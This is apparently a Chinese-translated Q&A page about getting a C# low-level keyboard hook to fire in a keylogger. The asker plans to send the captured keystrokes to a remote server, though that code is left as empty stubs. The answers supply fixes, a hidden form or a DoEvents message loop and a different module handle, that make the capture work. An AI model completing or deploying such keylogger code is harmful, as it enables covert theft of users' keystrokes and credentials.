5

我正在用 C# 编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦。我的代码看起来是正确的,但由于某种原因回调没有发生。

以下是相关代码:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

SetWindowsHookEx调用应返回一个句柄(即不是空值),因此它应该意味着它已安装,但是当我在 中放置断点时HookCallback,它永远不会到达。

谁能告诉我我可能做错了什么?

4

2 回答 2

4

看起来您正在编写一个控制台应用程序。这应该是一个表单应用程序,因为您正在处理 Windows 事件。只需隐藏表单,它应该可以工作。

作为控制台应用程序的解决方法,您可以Application.DoEvents()在循环中调用:

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

请将此用于善,而不是恶。

于 2011-04-07T17:47:07.633 回答
0

尝试将GetModuleHandle(null)替换为

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

看看这是否能解决问题。请注意,从 GetCurrentProcess() 返回的 Process 对象和从 MainModule 返回的 ProcessModule 对象都是一次性的,因此您可能希望将它们声明为变量,然后手动处理它们;更好的是,将它们放在一个using块中。

于 2011-04-07T17:53:14.250 回答